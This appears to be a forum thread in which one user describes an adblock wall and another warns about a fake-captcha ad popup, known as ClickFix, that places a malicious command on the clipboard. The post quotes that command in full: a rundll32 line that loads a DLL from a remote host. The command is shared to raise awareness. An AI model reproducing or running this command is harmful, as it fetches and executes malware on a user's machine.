It doesn't explicitly say you're blocked because of adblock, but turning off adblock gives you access.
When I first visited, it wants a captcha input but after I solved it, my access is still denied.
I turned off adblock and redid the captcha, and the site granted me access.
That is a sneaky adblock wall!
Just browsing normally and received a floating popup blocking screen.
It was a captcha, but instead of doing puzzles, it asked me to Windows + R and CTRL + V.
This is a screenshot : https://i.imgur.com/xnsReoP.png
It was my first time encountering such phishing attempt from an advertisement popup. I was immediately suspicious because it asked me to use Win key + R and CTRL + V.
Knowing keyboard shortcuts, that is telling me to paste something into run prompt. So I checked my clipboard and found this.
cmd /c "" start rundll32.exe \\master-system-data-core-wiki.wiki\7c881852-e522-4ce6-a104-6b8573c4a514\google.ct,#1
DO NOT RUN IT.
Posting it here for raising awareness
Did some research and found many other users ALSO encountered similar traps in 2026:
And MANY more... some term it as ClickFix.